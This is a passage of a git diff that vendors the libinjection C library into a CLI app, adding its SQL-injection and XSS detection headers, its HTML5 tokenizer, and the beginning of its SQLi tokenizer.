b/apps/cli/vendor/libinjection/src/libinjection.h new file mode 100644 index 00000000..aad555fe --- /dev/null +++ b/apps/cli/vendor/libinjection/src/libinjection.h @@ -0,0 +1,70 @@ +/** + * Copyright 2012-2016 Nick Galbreath + * nickg@client9.com + * BSD License -- see COPYING.txt for details + * + * https://libinjection.client9.com/ + * + */ + +#ifndef LIBINJECTION_H +#define LIBINJECTION_H + +#ifdef __cplusplus +#define LIBINJECTION_BEGIN_DECLS extern "C" { +#define LIBINJECTION_END_DECLS } +#else +#define LIBINJECTION_BEGIN_DECLS +#define LIBINJECTION_END_DECLS +#endif + +LIBINJECTION_BEGIN_DECLS + +/* + * Pull in size_t + */ +#include + +/* + * Pull in injection_result_t + */ +#include "libinjection_error.h" +/* + * Version info. + * + * This is moved into a function to allow SWIG and other auto-generated + * binding to not be modified during minor release changes. We change + * change the version number in the c source file, and not regenerated + * the binding + * + * See python's normalized version + * http://www.python.org/dev/peps/pep-0386/#normalizedversion + */ +const char *libinjection_version(void); + +/** + * Simple API for SQLi detection - returns a SQLi fingerprint or NULL + * is benign input + * + * \param[in] s input string, may contain nulls, does not need to be + * null-terminated \param[in] slen input string length \param[out] fingerprint + * buffer of 8+ characters. c-string, \return 1 if SQLi, 0 if benign. + * fingerprint will be set or set to empty string. + */ +injection_result_t libinjection_sqli(const char *s, size_t slen, + char fingerprint[]); + +/** ALPHA version of xss detector. + * + * NOT DONE. + * + * \param[in] s input string, may contain nulls, does not need to be + * null-terminated \param[in] slen input string length \return 1 if XSS found, 0 + * if benign + * + */ +injection_result_t libinjection_xss(const char *s, size_t slen); + +LIBINJECTION_END_DECLS + +#endif /* LIBINJECTION_H */ diff --git a/apps/cli/vendor/libinjection/src/libinjection_error.h b/apps/cli/vendor/libinjection/src/libinjection_error.h new file mode 100644 index 00000000..90c67137 --- /dev/null +++ b/apps/cli/vendor/libinjection/src/libinjection_error.h @@ -0,0 +1,26 @@ +/** + * LibInjection Project + * BSD License -- see `COPYING.txt` for details + * + * https://github.com/libinjection/libinjection/ + * + */ + +#ifndef LIBINJECTION_ERROR_H +#define LIBINJECTION_ERROR_H + +#ifdef __cplusplus +extern "C" { +#endif + +typedef enum injection_result_t { + LIBINJECTION_RESULT_FALSE = 0, + LIBINJECTION_RESULT_TRUE = 1, + LIBINJECTION_RESULT_ERROR = -1 +} injection_result_t; + +#ifdef __cplusplus +} +#endif + +#endif // LIBINJECTION_ERROR_H diff --git a/apps/cli/vendor/libinjection/src/libinjection_html5.c b/apps/cli/vendor/libinjection/src/libinjection_html5.c new file mode 100644 index 00000000..18d2c2d0 --- /dev/null +++ b/apps/cli/vendor/libinjection/src/libinjection_html5.c @@ -0,0 +1,830 @@ +#include "libinjection_html5.h" + +#include + +#ifdef DEBUG +#include +#define TRACE() printf("%s:%d\n", __FUNCTION__, __LINE__) +#else +#define TRACE() +#endif + +#define CHAR_EOF -1 +#define CHAR_NULL 0 +#define CHAR_BANG 33 +#define CHAR_DOUBLE 34 +#define CHAR_PERCENT 37 +#define CHAR_SINGLE 39 +#define CHAR_DASH 45 +#define CHAR_SLASH 47 +#define CHAR_LT 60 +#define CHAR_EQUALS 61 +#define CHAR_GT 62 +#define CHAR_QUESTION 63 +#define CHAR_RIGHTB 93 +#define CHAR_TICK 96 + +/* prototypes */ + +static int h5_skip_white(h5_state_t *hs); +static int h5_is_white(char ch); +static int h5_state_eof(h5_state_t *hs); +static int h5_state_data(h5_state_t *hs); +static int h5_state_tag_open(h5_state_t *hs); +static int h5_state_tag_name(h5_state_t *hs); +static int h5_state_tag_name_close(h5_state_t *hs); +static int h5_state_end_tag_open(h5_state_t *hs); +static int h5_state_self_closing_start_tag(h5_state_t *hs); +static int h5_state_attribute_name(h5_state_t *hs); +static int h5_state_after_attribute_name(h5_state_t *hs); +static int h5_state_before_attribute_name(h5_state_t *hs); +static int h5_state_before_attribute_value(h5_state_t *hs); +static int h5_state_attribute_value_double_quote(h5_state_t *hs); +static int h5_state_attribute_value_single_quote(h5_state_t *hs); +static int h5_state_attribute_value_back_quote(h5_state_t *hs); +static int h5_state_attribute_value_no_quote(h5_state_t *hs); +static int h5_state_after_attribute_value_quoted_state(h5_state_t *hs); +static int h5_state_comment(h5_state_t *hs); +static int h5_state_cdata(h5_state_t *hs); + +/* 12.2.4.44 */ +static int h5_state_bogus_comment(h5_state_t *hs); +static int h5_state_bogus_comment2(h5_state_t *hs); + +/* 12.2.4.45 */ +static int h5_state_markup_declaration_open(h5_state_t *hs); + +/* 8.2.4.52 */ +static int h5_state_doctype(h5_state_t *hs); + +/** + * public function + */ +void libinjection_h5_init(h5_state_t *hs, const char *s, size_t len, + enum html5_flags flags) { + memset(hs, 0, sizeof(h5_state_t)); + hs->s = s; + hs->len = len; + + switch (flags) { + case DATA_STATE: + hs->state = h5_state_data; + break; + case VALUE_NO_QUOTE: + hs->state = h5_state_before_attribute_name; + break; + case VALUE_SINGLE_QUOTE: + hs->state = h5_state_attribute_value_single_quote; + break; + case VALUE_DOUBLE_QUOTE: + hs->state = h5_state_attribute_value_double_quote; + break; + case VALUE_BACK_QUOTE: + hs->state = h5_state_attribute_value_back_quote; + break; + } +} + +/** + * public function + */ +injection_result_t libinjection_h5_next(h5_state_t *hs) { + if (hs == NULL || hs->state == NULL) { + return LIBINJECTION_RESULT_ERROR; + } + return (*hs->state)(hs); +} + +/** + * Everything below here is private + * + */ + +static int h5_is_white(char ch) { + /* + * \t = horizontal tab = 0x09 + * \n = newline = 0x0A + * \v = vertical tab = 0x0B + * \f = form feed = 0x0C + * \r = cr = 0x0D + */ + return strchr(" \t\n\v\f\r", ch) != NULL; +} + +static int h5_skip_white(h5_state_t *hs) { + char ch; + while (hs->pos < hs->len) { + ch = hs->s[hs->pos]; + switch (ch) { + case 0x00: /* IE only */ + case 0x20: + case 0x09: + case 0x0A: + case 0x0B: /* IE only */ + case 0x0C: + case 0x0D: /* IE only */ + hs->pos += 1; + break; + default: + return ch; + } + } + return CHAR_EOF; +} + +static int h5_state_eof(h5_state_t *hs) { + /* eliminate unused function argument warning */ + (void)hs; + return 0; +} + +static injection_result_t h5_state_data(h5_state_t *hs) { + const char *idx; + + TRACE(); + if (hs == NULL || hs->len < hs->pos) { + return LIBINJECTION_RESULT_ERROR; + }; + idx = (const char *)memchr(hs->s + hs->pos, CHAR_LT, hs->len - hs->pos); + if (idx == NULL) { + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->token_type = DATA_TEXT; + hs->state = h5_state_eof; + if (hs->token_len == 0) { + return 0; + } + } else { + hs->token_start = hs->s + hs->pos; + hs->token_type = DATA_TEXT; + hs->token_len = (size_t)(idx - hs->s) - hs->pos; + hs->pos = (size_t)(idx - hs->s) + 1; + hs->state = h5_state_tag_open; + if (hs->token_len == 0) { + return h5_state_tag_open(hs); + } + } + return 1; +} + +/** + * 12 2.4.8 + */ +static int h5_state_tag_open(h5_state_t *hs) { + char ch; + + TRACE(); + if (hs->pos >= hs->len) { + return 0; + } + ch = hs->s[hs->pos]; + if (ch == CHAR_BANG) { + hs->pos += 1; + return h5_state_markup_declaration_open(hs); + } else if (ch == CHAR_SLASH) { + hs->pos += 1; + hs->is_close = 1; + return h5_state_end_tag_open(hs); + } else if (ch == CHAR_QUESTION) { + hs->pos += 1; + return h5_state_bogus_comment(hs); + } else if (ch == CHAR_PERCENT) { + /* this is not in spec.. alternative comment format used + by IE <= 9 and Safari < 4.0.3 */ + hs->pos += 1; + return h5_state_bogus_comment2(hs); + } else if ((ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z')) { + return h5_state_tag_name(hs); + } else if (ch == CHAR_NULL) { + /* IE-ism NULL characters are ignored */ + return h5_state_tag_name(hs); + } else { + /* user input mistake in configuring state */ + if (hs->pos == 0) { + return h5_state_data(hs); + } + hs->token_start = hs->s + hs->pos - 1; + hs->token_len = 1; + hs->token_type = DATA_TEXT; + hs->state = h5_state_data; + return 1; + } +} +/** + * 12.2.4.9 + */ +static int h5_state_end_tag_open(h5_state_t *hs) { + char ch; + + TRACE(); + + if (hs->pos >= hs->len) { + return 0; + } + ch = hs->s[hs->pos]; + if (ch == CHAR_GT) { + return h5_state_data(hs); + } else if ((ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z')) { + return h5_state_tag_name(hs); + } + + hs->is_close = 0; + return h5_state_bogus_comment(hs); +} +/* + * + */ +static int h5_state_tag_name_close(h5_state_t *hs) { + TRACE(); + hs->is_close = 0; + hs->token_start = hs->s + hs->pos; + hs->token_len = 1; + hs->token_type = TAG_NAME_CLOSE; + hs->pos += 1; + if (hs->pos < hs->len) { + hs->state = h5_state_data; + } else { + hs->state = h5_state_eof; + } + + return 1; +} + +/** + * 12.2.4.10 + */ +static int h5_state_tag_name(h5_state_t *hs) { + char ch; + size_t pos; + + TRACE(); + pos = hs->pos; + while (pos < hs->len) { + ch = hs->s[pos]; + if (ch == 0) { + /* special non-standard case */ + /* allow nulls in tag name */ + /* some old browsers apparently allow and ignore them */ + pos += 1; + } else if (h5_is_white(ch)) { + hs->token_start = hs->s + hs->pos; + hs->token_len = pos - hs->pos; + hs->token_type = TAG_NAME_OPEN; + hs->pos = pos + 1; + hs->state = h5_state_before_attribute_name; + return 1; + } else if (ch == CHAR_SLASH) { + hs->token_start = hs->s + hs->pos; + hs->token_len = pos - hs->pos; + hs->token_type = TAG_NAME_OPEN; + hs->pos = pos + 1; + hs->state = h5_state_self_closing_start_tag; + return 1; + } else if (ch == CHAR_GT) { + hs->token_start = hs->s + hs->pos; + hs->token_len = pos - hs->pos; + if (hs->is_close) { + hs->pos = pos + 1; + hs->is_close = 0; + hs->token_type = TAG_CLOSE; + hs->state = h5_state_data; + } else { + hs->pos = pos; + hs->token_type = TAG_NAME_OPEN; + hs->state = h5_state_tag_name_close; + } + return 1; + } else { + pos += 1; + } + } + + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->token_type = TAG_NAME_OPEN; + hs->state = h5_state_eof; + return 1; +} + +/** + * 12.2.4.34 + */ +static int h5_state_before_attribute_name(h5_state_t *hs) { + int ch; + + TRACE(); + +/* for manual tail call optimization, see comment below */ +tail_call:; + + ch = h5_skip_white(hs); + switch (ch) { + case CHAR_EOF: { + return 0; + } + case CHAR_SLASH: { + hs->pos += 1; + /* Logically, We want to call h5_state_self_closing_start_tag(hs) here. + + As this function may call us back and the compiler + might not implement automatic tail call optimization, + this might result in a deep recursion. + + We detect this case here and start over with the current state. + */ + + if (hs->pos < hs->len && hs->s[hs->pos] != CHAR_GT) { + goto tail_call; + } + return h5_state_self_closing_start_tag(hs); + } + case CHAR_GT: { + hs->state = h5_state_data; + hs->token_start = hs->s + hs->pos; + hs->token_len = 1; + hs->token_type = TAG_NAME_CLOSE; + hs->pos += 1; + return 1; + } + default: { + return h5_state_attribute_name(hs); + } + } +} + +static int h5_state_attribute_name(h5_state_t *hs) { + char ch; + size_t pos; + + TRACE(); + pos = hs->pos + 1; + while (pos < hs->len) { + ch = hs->s[pos]; + if (h5_is_white(ch)) { + hs->token_start = hs->s + hs->pos; + hs->token_len = pos - hs->pos; + hs->token_type = ATTR_NAME; + hs->state = h5_state_after_attribute_name; + hs->pos = pos + 1; + return 1; + } else if (ch == CHAR_SLASH) { + hs->token_start = hs->s + hs->pos; + hs->token_len = pos - hs->pos; + hs->token_type = ATTR_NAME; + hs->state = h5_state_self_closing_start_tag; + hs->pos = pos + 1; + return 1; + } else if (ch == CHAR_EQUALS) { + hs->token_start = hs->s + hs->pos; + hs->token_len = pos - hs->pos; + hs->token_type = ATTR_NAME; + hs->state = h5_state_before_attribute_value; + hs->pos = pos + 1; + return 1; + } else if (ch == CHAR_GT) { + hs->token_start = hs->s + hs->pos; + hs->token_len = pos - hs->pos; + hs->token_type = ATTR_NAME; + hs->state = h5_state_tag_name_close; + hs->pos = pos; + return 1; + } else { + pos += 1; + } + } + /* EOF */ + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->token_type = ATTR_NAME; + hs->state = h5_state_eof; + hs->pos = hs->len; + return 1; +} + +/** + * 12.2.4.36 + */ +static int h5_state_after_attribute_name(h5_state_t *hs) { + int c; + + TRACE(); + c = h5_skip_white(hs); + switch (c) { + case CHAR_EOF: { + return 0; + } + case CHAR_SLASH: { + hs->pos += 1; + return h5_state_self_closing_start_tag(hs); + } + case CHAR_EQUALS: { + hs->pos += 1; + return h5_state_before_attribute_value(hs); + } + case CHAR_GT: { + return h5_state_tag_name_close(hs); + } + default: { + return h5_state_attribute_name(hs); + } + } +} + +/** + * 12.2.4.37 + */ +static int h5_state_before_attribute_value(h5_state_t *hs) { + int c; + TRACE(); + + c = h5_skip_white(hs); + + if (c == CHAR_EOF) { + hs->state = h5_state_eof; + return 0; + } + + if (c == CHAR_DOUBLE) { + return h5_state_attribute_value_double_quote(hs); + } else if (c == CHAR_SINGLE) { + return h5_state_attribute_value_single_quote(hs); + } else if (c == CHAR_TICK) { + /* NON STANDARD IE */ + return h5_state_attribute_value_back_quote(hs); + } else { + return h5_state_attribute_value_no_quote(hs); + } +} + +static int h5_state_attribute_value_quote(h5_state_t *hs, char qchar) { + const char *idx; + + TRACE(); + + /* skip initial quote in normal case. + * don't do this "if (pos == 0)" since it means we have started + * in a non-data state. given an input of '>pos > 0) { + hs->pos += 1; + } + + idx = (const char *)memchr(hs->s + hs->pos, qchar, hs->len - hs->pos); + if (idx == NULL) { + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->token_type = ATTR_VALUE; + hs->state = h5_state_eof; + } else { + hs->token_start = hs->s + hs->pos; + hs->token_len = (size_t)(idx - hs->s) - hs->pos; + hs->token_type = ATTR_VALUE; + hs->state = h5_state_after_attribute_value_quoted_state; + hs->pos += hs->token_len + 1; + } + return 1; +} + +static int h5_state_attribute_value_double_quote(h5_state_t *hs) { + TRACE(); + return h5_state_attribute_value_quote(hs, CHAR_DOUBLE); +} + +static int h5_state_attribute_value_single_quote(h5_state_t *hs) { + TRACE(); + return h5_state_attribute_value_quote(hs, CHAR_SINGLE); +} + +static int h5_state_attribute_value_back_quote(h5_state_t *hs) { + TRACE(); + return h5_state_attribute_value_quote(hs, CHAR_TICK); +} + +static int h5_state_attribute_value_no_quote(h5_state_t *hs) { + char ch; + size_t pos; + + TRACE(); + pos = hs->pos; + while (pos < hs->len) { + ch = hs->s[pos]; + if (h5_is_white(ch)) { + hs->token_type = ATTR_VALUE; + hs->token_start = hs->s + hs->pos; + hs->token_len = pos - hs->pos; + hs->pos = pos + 1; + hs->state = h5_state_before_attribute_name; + return 1; + } else if (ch == CHAR_GT) { + hs->token_type = ATTR_VALUE; + hs->token_start = hs->s + hs->pos; + hs->token_len = pos - hs->pos; + hs->pos = pos; + hs->state = h5_state_tag_name_close; + return 1; + } + pos += 1; + } + TRACE(); + /* EOF */ + hs->state = h5_state_eof; + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->token_type = ATTR_VALUE; + return 1; +} + +/** + * 12.2.4.41 + */ +static int h5_state_after_attribute_value_quoted_state(h5_state_t *hs) { + char ch; + + TRACE(); + if (hs->pos >= hs->len) { + return 0; + } + ch = hs->s[hs->pos]; + if (h5_is_white(ch)) { + hs->pos += 1; + return h5_state_before_attribute_name(hs); + } else if (ch == CHAR_SLASH) { + hs->pos += 1; + return h5_state_self_closing_start_tag(hs); + } else if (ch == CHAR_GT) { + hs->token_start = hs->s + hs->pos; + hs->token_len = 1; + hs->token_type = TAG_NAME_CLOSE; + hs->pos += 1; + hs->state = h5_state_data; + return 1; + } else { + return h5_state_before_attribute_name(hs); + } +} + +/** + * 12.2.4.43 + * + * WARNING: This function is partially inlined into + * h5_state_before_attribute_name() + */ +static int h5_state_self_closing_start_tag(h5_state_t *hs) { + char ch; + + TRACE(); + if (hs->pos >= hs->len) { + return 0; + } + ch = hs->s[hs->pos]; + if (ch == CHAR_GT) { + hs->token_start = hs->s + hs->pos - 1; + hs->token_len = 2; + hs->token_type = TAG_NAME_SELFCLOSE; + hs->state = h5_state_data; + hs->pos += 1; + return 1; + } else { + return h5_state_before_attribute_name(hs); + } +} + +/** + * 12.2.4.44 + */ +static int h5_state_bogus_comment(h5_state_t *hs) { + const char *idx; + + TRACE(); + idx = (const char *)memchr(hs->s + hs->pos, CHAR_GT, hs->len - hs->pos); + if (idx == NULL) { + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->pos = hs->len; + hs->state = h5_state_eof; + } else { + hs->token_start = hs->s + hs->pos; + hs->token_len = (size_t)(idx - hs->s) - hs->pos; + hs->pos = (size_t)(idx - hs->s) + 1; + hs->state = h5_state_data; + } + + hs->token_type = TAG_COMMENT; + return 1; +} + +/** + * 12.2.4.44 ALT + */ +static int h5_state_bogus_comment2(h5_state_t *hs) { + const char *idx; + size_t pos; + + TRACE(); + pos = hs->pos; + while (1) { + idx = (const char *)memchr(hs->s + pos, CHAR_PERCENT, hs->len - pos); + if (idx == NULL || (idx + 1 >= hs->s + hs->len)) { + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->pos = hs->len; + hs->token_type = TAG_COMMENT; + hs->state = h5_state_eof; + return 1; + } + + if (*(idx + 1) != CHAR_GT) { + pos = (size_t)(idx - hs->s) + 1; + continue; + } + + /* ends in %> */ + hs->token_start = hs->s + hs->pos; + hs->token_len = (size_t)(idx - hs->s) - hs->pos; + hs->pos = (size_t)(idx - hs->s) + 2; + hs->state = h5_state_data; + hs->token_type = TAG_COMMENT; + return 1; + } +} + +/** + * 8.2.4.45 + */ +static int h5_state_markup_declaration_open(h5_state_t *hs) { + size_t remaining; + + TRACE(); + remaining = hs->len - hs->pos; + if (remaining >= 7 && + /* case insensitive */ + (hs->s[hs->pos + 0] == 'D' || hs->s[hs->pos + 0] == 'd') && + (hs->s[hs->pos + 1] == 'O' || hs->s[hs->pos + 1] == 'o') && + (hs->s[hs->pos + 2] == 'C' || hs->s[hs->pos + 2] == 'c') && + (hs->s[hs->pos + 3] == 'T' || hs->s[hs->pos + 3] == 't') && + (hs->s[hs->pos + 4] == 'Y' || hs->s[hs->pos + 4] == 'y') && + (hs->s[hs->pos + 5] == 'P' || hs->s[hs->pos + 5] == 'p') && + (hs->s[hs->pos + 6] == 'E' || hs->s[hs->pos + 6] == 'e')) { + return h5_state_doctype(hs); + } else if (remaining >= 7 && + /* upper case required */ + hs->s[hs->pos + 0] == '[' && hs->s[hs->pos + 1] == 'C' && + hs->s[hs->pos + 2] == 'D' && hs->s[hs->pos + 3] == 'A' && + hs->s[hs->pos + 4] == 'T' && hs->s[hs->pos + 5] == 'A' && + hs->s[hs->pos + 6] == '[') { + hs->pos += 7; + return h5_state_cdata(hs); + } else if (remaining >= 2 && hs->s[hs->pos + 0] == '-' && + hs->s[hs->pos + 1] == '-') { + hs->pos += 2; + return h5_state_comment(hs); + } + + return h5_state_bogus_comment(hs); +} + +/** + * 12.2.4.48 + * 12.2.4.49 + * 12.2.4.50 + * 12.2.4.51 + * state machine spec is confusing since it can only look + * at one character at a time but simply it's comments end by: + * 1) EOF + * 2) ending in --> + * 3) ending in -!> + */ +static int h5_state_comment(h5_state_t *hs) { + char ch; + const char *idx; + size_t pos; + size_t offset; + const char *end = hs->s + hs->len; + + TRACE(); + pos = hs->pos; + while (1) { + + idx = (const char *)memchr(hs->s + pos, CHAR_DASH, hs->len - pos); + + /* did not find anything or has less than 3 chars left */ + if (idx == NULL || idx > hs->s + hs->len - 3) { + hs->state = h5_state_eof; + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->token_type = TAG_COMMENT; + return 1; + } + offset = 1; + + /* skip all nulls */ + while (idx + offset < end && *(idx + offset) == 0) { + offset += 1; + } + if (idx + offset == end) { + hs->state = h5_state_eof; + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->token_type = TAG_COMMENT; + return 1; + } + + ch = *(idx + offset); + if (ch != CHAR_DASH && ch != CHAR_BANG) { + pos = (size_t)(idx - hs->s) + 1; + continue; + } + + /* need to test */ +#if 0 + /* skip all nulls */ + while (idx + offset < end && *(idx + offset) == 0) { + offset += 1; + } + if (idx + offset == end) { + hs->state = h5_state_eof; + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->token_type = TAG_COMMENT; + return 1; + } +#endif + + offset += 1; + if (idx + offset == end) { + hs->state = h5_state_eof; + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->token_type = TAG_COMMENT; + return 1; + } + + ch = *(idx + offset); + if (ch != CHAR_GT) { + pos = (size_t)(idx - hs->s) + 1; + continue; + } + offset += 1; + + /* ends in --> or -!> */ + hs->token_start = hs->s + hs->pos; + hs->token_len = (size_t)(idx - hs->s) - hs->pos; + hs->pos = (size_t)(idx + offset - hs->s); + hs->state = h5_state_data; + hs->token_type = TAG_COMMENT; + return 1; + } +} + +static int h5_state_cdata(h5_state_t *hs) { + const char *idx; + size_t pos; + + TRACE(); + pos = hs->pos; + while (1) { + idx = (const char *)memchr(hs->s + pos, CHAR_RIGHTB, hs->len - pos); + + /* did not find anything or has less than 3 chars left */ + if (idx == NULL || idx > hs->s + hs->len - 3) { + hs->state = h5_state_eof; + hs->token_start = hs->s + hs->pos; + hs->token_len = hs->len - hs->pos; + hs->token_type = DATA_TEXT; + return 1; + } else if (*(idx + 1) == CHAR_RIGHTB && *(idx + 2) == CHAR_GT) { + hs->state = h5_state_data; + hs->token_start = hs->s + hs->pos; + hs->token_len = (size_t)(idx - hs->s) - hs->pos; + hs->pos = (size_t)(idx - hs->s) + 3; + hs->token_type = DATA_TEXT; + return 1; + } else { + pos = (size_t)(idx - hs->s) + 1; + } + } +} + +/** + * 8.2.4.52 + * http://www.w3.org/html/wg/drafts/html/master/syntax.html#doctype-state + */ +static int h5_state_doctype(h5_state_t *hs) { + const char *idx; + + TRACE(); + hs->token_start = hs->s + hs->pos; + hs->token_type = DOCTYPE; + + idx = (const char *)memchr(hs->s + hs->pos, CHAR_GT, hs->len - hs->pos); + if (idx == NULL) { + hs->state = h5_state_eof; + hs->token_len = hs->len - hs->pos; + } else { + hs->state = h5_state_data; + hs->token_len = (size_t)(idx - hs->s) - hs->pos; + hs->pos = (size_t)(idx - hs->s) + 1; + } + return 1; +} diff --git a/apps/cli/vendor/libinjection/src/libinjection_html5.h b/apps/cli/vendor/libinjection/src/libinjection_html5.h new file mode 100644 index 00000000..dab60e4e --- /dev/null +++ b/apps/cli/vendor/libinjection/src/libinjection_html5.h @@ -0,0 +1,56 @@ +#ifndef LIBINJECTION_HTML5 +#define LIBINJECTION_HTML5 + +#ifdef __cplusplus +extern "C" { +#endif + +/* pull in size_t */ + +#include + +#include "libinjection_error.h" + +enum html5_type { + DATA_TEXT, + TAG_NAME_OPEN, + TAG_NAME_CLOSE, + TAG_NAME_SELFCLOSE, + TAG_DATA, + TAG_CLOSE, + ATTR_NAME, + ATTR_VALUE, + TAG_COMMENT, + DOCTYPE +}; + +enum html5_flags { + DATA_STATE, + VALUE_NO_QUOTE, + VALUE_SINGLE_QUOTE, + VALUE_DOUBLE_QUOTE, + VALUE_BACK_QUOTE +}; + +struct h5_state; +typedef int (*ptr_html5_state)(struct h5_state *); + +typedef struct h5_state { + const char *s; + size_t len; + size_t pos; + int is_close; + ptr_html5_state state; + const char *token_start; + size_t token_len; + enum html5_type token_type; +} h5_state_t; + +void libinjection_h5_init(h5_state_t *hs, const char *s, size_t len, + enum html5_flags); +injection_result_t libinjection_h5_next(h5_state_t *hs); + +#ifdef __cplusplus +} +#endif +#endif diff --git a/apps/cli/vendor/libinjection/src/libinjection_sqli.c b/apps/cli/vendor/libinjection/src/libinjection_sqli.c new file mode 100644 index 00000000..ce30901d --- /dev/null +++ b/apps/cli/vendor/libinjection/src/libinjection_sqli.c @@ -0,0 +1,2342 @@ +/** + * Copyright 2012,2016 Nick Galbreath + * nickg@client9.com + * + * Copyright 2021 LibInjection + * + * BSD License -- see COPYING.txt for details + * + * https://github.com/libinjection/libinjection + * + */ + +#include +#include +#include +#include +#include +#include + +#include "libinjection.h" +#include "libinjection_sqli.h" +#include "libinjection_sqli_data.h" + +#ifndef LIBINJECTION_VERSION +/* Default version for embedding without autotools. + * Autotools and custom builds can override via -DLIBINJECTION_VERSION=\"...\" + */ +#define LIBINJECTION_VERSION "4.0.0" +#endif + +#define LIBINJECTION_SQLI_TOKEN_SIZE sizeof(((stoken_t *)(0))->val) +#define LIBINJECTION_SQLI_MAX_TOKENS 5 + +#ifndef TRUE +#define TRUE 1 +#endif +#ifndef FALSE +#define FALSE 0 +#endif + +#define CHAR_NULL '\0' +#define CHAR_SINGLE '\'' +#define CHAR_DOUBLE '"' +#define CHAR_TICK '`' + +/* faster than calling out to libc isdigit */ +#define ISDIGIT(a) ((unsigned)((a) - '0') <= 9) + +#ifdef DEBUG +#define FOLD_DEBUG \ + printf("%d \t more=%d pos=%d left=%d\n", __LINE__, more, (int)pos, \ + (int)left); +#else +#define FOLD_DEBUG +#endif + +/* + * not making public just yet + */ +typedef enum { + TYPE_NONE = 0, + TYPE_KEYWORD = (int)'k', + TYPE_UNION = (int)'U', + TYPE_GROUP = (int)'B', + TYPE_EXPRESSION = (int)'E', + TYPE_SQLTYPE = (int)'t', + TYPE_FUNCTION = (int)'f', + TYPE_BAREWORD = (int)'n', + TYPE_NUMBER = (int)'1', + TYPE_VARIABLE = (int)'v', + TYPE_STRING = (int)'s', + TYPE_OPERATOR = (int)'o', + TYPE_LOGIC_OPERATOR = (int)'&', + TYPE_COMMENT = (int)'c', + TYPE_COLLATE = (int)'A', + TYPE_LEFTPARENS = (int)'(', + TYPE_RIGHTPARENS = (int)')' /* not used? */ + , + TYPE_LEFTBRACE = (int)'{', + TYPE_RIGHTBRACE = (int)'}', + TYPE_DOT = (int)'.', + TYPE_COMMA = (int)',', + TYPE_COLON = (int)':', + TYPE_SEMICOLON = (int)';', + TYPE_TSQL = (int)'T' /* TSQL start */ + , + TYPE_UNKNOWN = (int)'?', + TYPE_EVIL = (int)'X' /* unparsable, abort */ + , + TYPE_FINGERPRINT = (int)'F' /* not really a token */ + , + TYPE_BACKSLASH = (int)'\\' +} sqli_token_types; + +// prototype for is_backslash_escaped() +static int is_backslash_escaped(const char *end, const char *start); + +/** + * Initializes parsing state + * + */ +static char flag2delim(int flag) { + if (flag & FLAG_QUOTE_SINGLE) { + return CHAR_SINGLE; + } else if (flag & FLAG_QUOTE_DOUBLE) { + return CHAR_DOUBLE; + } else { + return CHAR_NULL; + } +} + +/* memchr2 finds a string of 2 characters inside another string + * This a specialized version of "memmem" or "memchr". + * 'memmem' doesn't exist on all platforms + * + * Porting notes: this is just a special version of + * astring.find("AB") + * + */ +static const char *memchr2(const char *haystack, size_t haystack_len, char c0, + char c1) { + const char *cur = haystack; + const char *last = haystack + haystack_len - 1; + + if (haystack_len < 2) { + return NULL; + } + + while (cur < last) { + /* safe since cur < len - 1 always */ + if (cur[0] == c0 && cur[1] == c1) { + return cur; + } + cur += 1; + } + + return NULL; +} + +/** + * memmem might not exist on some systems + */ +static const char *my_memmem(const char *haystack, size_t hlen, + const char *needle, size_t nlen) { + const char *cur; + const char *last; + assert(haystack); + assert(needle); + assert(nlen > 1); + last = haystack + hlen - nlen; + for (cur = haystack; cur <= last; ++cur) { + if (cur[0] == needle[0] && memcmp(cur, needle, nlen) == 0) { + return cur; + } + } + return NULL; +} + +/** Find largest string containing certain characters. + * + * C Standard library 'strspn' only works for 'c-strings' (null terminated) + * This works on arbitrary length. + * + * Performance notes: + * not critical + * + * Porting notes: + * if accept is 'ABC', then this function would be similar to + * a_regexp.match(a_str, '[ABC]*'), + */ +static size_t strlenspn(const char *s, size_t len, const char *accept) { + size_t i; + for (i = 0; i < len; ++i) { + /* likely we can do better by inlining this function + * but this works for now + */ + if (strchr(accept, s[i]) == NULL) { + return i; + } + } + return len; +} + +static size_t strlencspn(const char *s, size_t len, const char *accept) { + size_t i; + for (i = 0; i < len; ++i) { + /* likely we can do better by inlining this function + * but this works for now + */ + if (strchr(accept, s[i]) != NULL) { + return i; + } + } + return len; +} +static int char_is_white(char ch) { + /* ' ' space is 0x32 + '\t 0x09 \011 horizontal tab + '\n' 0x0a \012 new line + '\v' 0x0b \013 vertical tab + '\f' 0x0c \014 new page + '\r' 0x0d \015 carriage return + 0x00 \000 null (oracle) + 0xa0 \240 is Latin-1 + */ + return strchr(" \t\n\v\f\r\240\000", ch) != NULL; +} + +/* DANGER DANGER + * This is -very specialized function- + * + * this compares a ALL_UPPER CASE C STRING + * with a *arbitrary memory* + length + * + * Sane people would just make a copy, up-case + * and use a hash table. + * + * Required since libc version uses the current locale + * and is much slower. + */ +static int cstrcasecmp(const char *a, const char *b, size_t n) { + char cb; + + for (; n > 0; a++, b++, n--) { + cb = *b; + if (cb >= 'a' && cb <= 'z') { + cb -= 0x20; + } + if (*a != cb) { + return *a - cb; + } else if (*a == '\0') { + return -1; + } + } + + return (*a == 0) ? 0 : 1; +} + +/** + * Case sensitive string compare. + * Here only to make code more readable + */ +static int streq(const char *a, const char *b) { return strcmp(a, b) == 0; } + +/** + * + * + * + * Porting Notes: + * given a mapping/hash of string to char + * this is just + * typecode = mapping[key.upper()] + */ + +static char bsearch_keyword_type(const char *key, size_t len, + const keyword_t *keywords, size_t numb) { + size_t pos; + size_t left = 0; + size_t right = numb - 1; + + while (left < right) { + pos = (left + right) >> 1; + + /* arg0 = upper case only, arg1 = mixed case */ + if (cstrcasecmp(keywords[pos].word, key, len) < 0) { + left = pos + 1; + } else { + right = pos; + } + } + if 